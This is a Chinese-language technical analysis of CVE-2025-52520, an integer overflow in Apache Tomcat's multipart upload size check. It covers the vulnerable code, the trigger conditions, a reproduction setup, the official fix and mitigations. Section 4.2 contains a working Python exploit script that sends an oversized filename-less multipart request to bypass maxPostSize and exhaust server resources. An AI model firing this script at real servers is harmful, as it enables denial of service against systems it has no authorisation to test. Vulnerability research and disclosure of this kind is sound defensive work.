CVE-2025-52520: Apache Tomcat: DoS via integer overflow in multipart file upload分析
字数 1962 2025-09-23 19:27:46

CVE-2025-52520: Apache Tomcat 多部分文件上传整数溢出拒绝服务漏洞分析

1. 漏洞概述

CVE编号:CVE-2025-52520
漏洞类型:整数溢出导致的拒绝服务(DoS)
影响版本:Apache Tomcat 9.0.0.M1 到 9.0.106
漏洞等级:低危
公开时间:2025年7月10日
修复提交:927d66fb

2. 漏洞原理分析

2.1 根本原因

该漏洞存在于Tomcat处理multipart/form-data请求时的文件上传限制检查机制中。具体位置在org.apache.catalina.connector.Request#parseParts方法。

2.2 漏洞代码分析

parts = new ArrayList<>();
try {
    List<FileItem> items = upload.parseRequest(new ServletRequestContext(this));
    int maxPostSize = getConnector().getMaxPostSize();
    int postSize = 0;
    Charset charset = getCharset();
    for (FileItem item : items) {
        ApplicationPart part = new ApplicationPart(item, location);
        parts.add(part);
        if (part.getSubmittedFileName() == null) {
            String name = part.getName();
            if (maxPostSize >= 0) {
                // 计算等效大小
                postSize += name.getBytes(charset).length; // 参数名长度
                postSize++; // 等号
                postSize += part.getSize(); // 参数值长度
                postSize++; // 值分隔符
                
                if (postSize > maxPostSize) {
                    parameters.setParseFailedReason(FailReason.POST_TOO_LARGE);
                    throw new IllegalStateException(sm.getString("coyoteRequest.maxPostSizeExceeded"));
                }
            }
            String value = null;

2.3 整数溢出机制

  1. postSize变量为int类型(32位有符号整数)
  2. 攻击者可以构造特定的multipart请求,使postSize累计值超过Integer.MAX_VALUE(2147483647)
  3. 当超过最大值时发生整数溢出,postSize变为负值
  4. 负值的postSizemaxPostSize比较时,条件postSize > maxPostSize为false
  5. 从而绕过文件大小限制检查,允许上传超大文件

3. 触发条件

3.1 必要条件

  1. 必须启用multipart文件上传功能
  2. 必须设置maxPostSize为正数值(默认2MB)
  3. 请求中的part必须满足:part.getSubmittedFileName() == null

3.2 触发场景

part文件名为null的条件

  • 请求的Content-Disposition头中不包含filename字段
  • 或者Content-Disposition头格式不符合标准

4. 漏洞复现

4.1 环境搭建

受影响版本:Apache Tomcat 9.0.98
所需组件

  1. 文件上传Servlet
  2. 前端上传页面

文件上传Servlet示例

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.*;

@WebServlet("/FileUploadServlet")
@MultipartConfig()
public class FileUploadServlet extends HttpServlet {
    private String extractFileName(Part part) {
        return "test";
    }
    
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        String saveDir = req.getServletContext().getRealPath("") + File.separator + "upload";
        File dir = new File(saveDir);
        if (!dir.exists()) dir.mkdir();
        
        try {
            for (Part part : req.getParts()) {
                String fileName = extractFileName(part);
                if (fileName != null && !fileName.isEmpty()) {
                    part.write(saveDir + File.separator + fileName);
                }
            }
        } catch (ServletException e) {
            e.printStackTrace();
        }
        
        resp.setContentType("text/html;charset=UTF-8");
        resp.getWriter().write("<h3>上传成功!文件保存在 'upload' 文件夹</h3>");
    }
}

前端页面(index.html)

<!DOCTYPE html>
<html>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <body>
    <h2>上传文件</h2>
    <form action="FileUploadServlet" method="post" enctype="multipart/form-data">
      <input type="file" name="file" /><br><br>
      <input type="submit" value="上传" />
    </form>
  </body>
</html>

4.2 攻击构造

关键步骤

  1. 修改Content-Disposition头:移除filename字段,使getSubmittedFileName()返回null
  2. 构造两个multipart部分
    • 第一部分:大小略小于maxPostSize(如2097140字节)
    • 第二部分:大小为2147483647 - 2097140 = 2145386507字节

Python利用脚本

import requests
import os

url = "http://localhost:8084/tomcat9/FileUploadServlet"

# 构造恶意multipart请求
def create_malicious_request():
    boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
    
    # 第一部分:接近maxPostSize的文件
    part1 = f"""
--{boundary}
Content-Disposition: form-data; name="file1"

{"A" * 2097140}
"""
    
    # 第二部分:超大文件部分,触发整数溢出
    part2 = f"""
--{boundary}
Content-Disposition: form-data; name="file2"

{"B" * 2145386507}
"""
    
    end_boundary = f"--{boundary}--"
    
    body = part1 + part2 + end_boundary
    
    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Content-Length": str(len(body))
    }
    
    return headers, body

headers, data = create_malicious_request()
response = requests.post(url, headers=headers, data=data)
print(response.status_code)

4.3 调试分析

  1. 设置断点:在org.apache.catalina.connector.Request#parseParts方法的关键位置
  2. 观察变量
    • maxPostSize:默认2097152(2MB)
    • postSize:从0开始累计,最终溢出为负值
  3. 验证绕过:观察postSize > maxPostSize比较结果为false

5. 漏洞影响

5.1 直接影响

  1. 拒绝服务:通过上传超大文件消耗服务器资源
  2. 磁盘空间耗尽:大量文件上传占满磁盘空间
  3. 内存溢出:处理超大文件时可能导致内存溢出

5.2 实际利用限制

  1. 需要特定配置:multipart功能启用且maxPostSize设置
  2. 需要构造特殊的请求格式
  3. 漏洞评级为低危,实际影响相对有限

6. 修复方案

6.1 官方修复

修复提交927d66fb主要修改:

  • 使用long类型替代int类型存储postSize
  • 添加溢出检查机制
  • 增强数值范围验证

6.2 升级建议

  1. 升级到Tomcat 9.0.107或更高版本
  2. 如无法立即升级,可实施以下缓解措施

6.3 缓解措施

  1. 限制请求大小:在反向代理层设置请求大小限制
  2. 监控异常请求:检测异常的multipart请求模式
  3. 资源限制:设置适当的磁盘和内存使用限制

7. 技术总结

7.1 漏洞特点

  1. 整数溢出利用:典型的整数溢出安全漏洞
  2. 条件较为苛刻:需要特定配置和请求构造
  3. 绕过机制巧妙:利用整数溢出后的负值绕过安全检查

7.2 挖掘启示

  1. 关注数值计算:安全审计中应重点关注数值计算和类型转换
  2. 边界条件测试:加强对数值边界条件的测试
  3. 类型选择谨慎:在可能涉及大数值计算的场景中使用long类型

7.3 防护建议

  1. 防御性编程:对可能溢出的计算添加检查机制
  2. 输入验证:严格验证用户输入的数值参数
  3. 资源管理:实施严格的资源使用限制和监控

8. 参考资源

  1. Apache Tomcat官方安全公告
  2. CVE-2025-52520详细描述
  3. 修复提交927d66fb代码对比
  4. 漏洞发现者分析报告

:本文仅用于安全研究和教育目的,请勿用于非法用途。在实际环境中测试漏洞时,务必获得相关系统的授权。

CVE-2025-52520: Apache Tomcat 多部分文件上传整数溢出拒绝服务漏洞分析 1. 漏洞概述 CVE编号 :CVE-2025-52520 漏洞类型 :整数溢出导致的拒绝服务(DoS) 影响版本 :Apache Tomcat 9.0.0.M1 到 9.0.106 漏洞等级 :低危 公开时间 :2025年7月10日 修复提交 :927d66fb 2. 漏洞原理分析 2.1 根本原因 该漏洞存在于Tomcat处理multipart/form-data请求时的文件上传限制检查机制中。具体位置在 org.apache.catalina.connector.Request#parseParts 方法。 2.2 漏洞代码分析 2.3 整数溢出机制 postSize 变量为int类型(32位有符号整数) 攻击者可以构造特定的multipart请求,使 postSize 累计值超过 Integer.MAX_VALUE (2147483647) 当超过最大值时发生整数溢出, postSize 变为负值 负值的 postSize 与 maxPostSize 比较时,条件 postSize > maxPostSize 为false 从而绕过文件大小限制检查,允许上传超大文件 3. 触发条件 3.1 必要条件 必须启用multipart文件上传功能 必须设置 maxPostSize 为正数值(默认2MB) 请求中的part必须满足: part.getSubmittedFileName() == null 3.2 触发场景 part文件名为null的条件 : 请求的Content-Disposition头中不包含filename字段 或者Content-Disposition头格式不符合标准 4. 漏洞复现 4.1 环境搭建 受影响版本 :Apache Tomcat 9.0.98 所需组件 : 文件上传Servlet 前端上传页面 文件上传Servlet示例 前端页面(index.html) 4.2 攻击构造 关键步骤 修改Content-Disposition头 :移除filename字段,使 getSubmittedFileName() 返回null 构造两个multipart部分 : 第一部分:大小略小于maxPostSize(如2097140字节) 第二部分:大小为 2147483647 - 2097140 = 2145386507 字节 Python利用脚本 4.3 调试分析 设置断点 :在 org.apache.catalina.connector.Request#parseParts 方法的关键位置 观察变量 : maxPostSize :默认2097152(2MB) postSize :从0开始累计,最终溢出为负值 验证绕过 :观察 postSize > maxPostSize 比较结果为false 5. 漏洞影响 5.1 直接影响 拒绝服务 :通过上传超大文件消耗服务器资源 磁盘空间耗尽 :大量文件上传占满磁盘空间 内存溢出 :处理超大文件时可能导致内存溢出 5.2 实际利用限制 需要特定配置:multipart功能启用且maxPostSize设置 需要构造特殊的请求格式 漏洞评级为低危,实际影响相对有限 6. 修复方案 6.1 官方修复 修复提交927d66fb主要修改: 使用long类型替代int类型存储postSize 添加溢出检查机制 增强数值范围验证 6.2 升级建议 升级到Tomcat 9.0.107或更高版本 如无法立即升级,可实施以下缓解措施 6.3 缓解措施 限制请求大小 :在反向代理层设置请求大小限制 监控异常请求 :检测异常的multipart请求模式 资源限制 :设置适当的磁盘和内存使用限制 7. 技术总结 7.1 漏洞特点 整数溢出利用 :典型的整数溢出安全漏洞 条件较为苛刻 :需要特定配置和请求构造 绕过机制巧妙 :利用整数溢出后的负值绕过安全检查 7.2 挖掘启示 关注数值计算 :安全审计中应重点关注数值计算和类型转换 边界条件测试 :加强对数值边界条件的测试 类型选择谨慎 :在可能涉及大数值计算的场景中使用long类型 7.3 防护建议 防御性编程 :对可能溢出的计算添加检查机制 输入验证 :严格验证用户输入的数值参数 资源管理 :实施严格的资源使用限制和监控 8. 参考资源 Apache Tomcat官方安全公告 CVE-2025-52520详细描述 修复提交927d66fb代码对比 漏洞发现者分析报告 注 :本文仅用于安全研究和教育目的,请勿用于非法用途。在实际环境中测试漏洞时,务必获得相关系统的授权。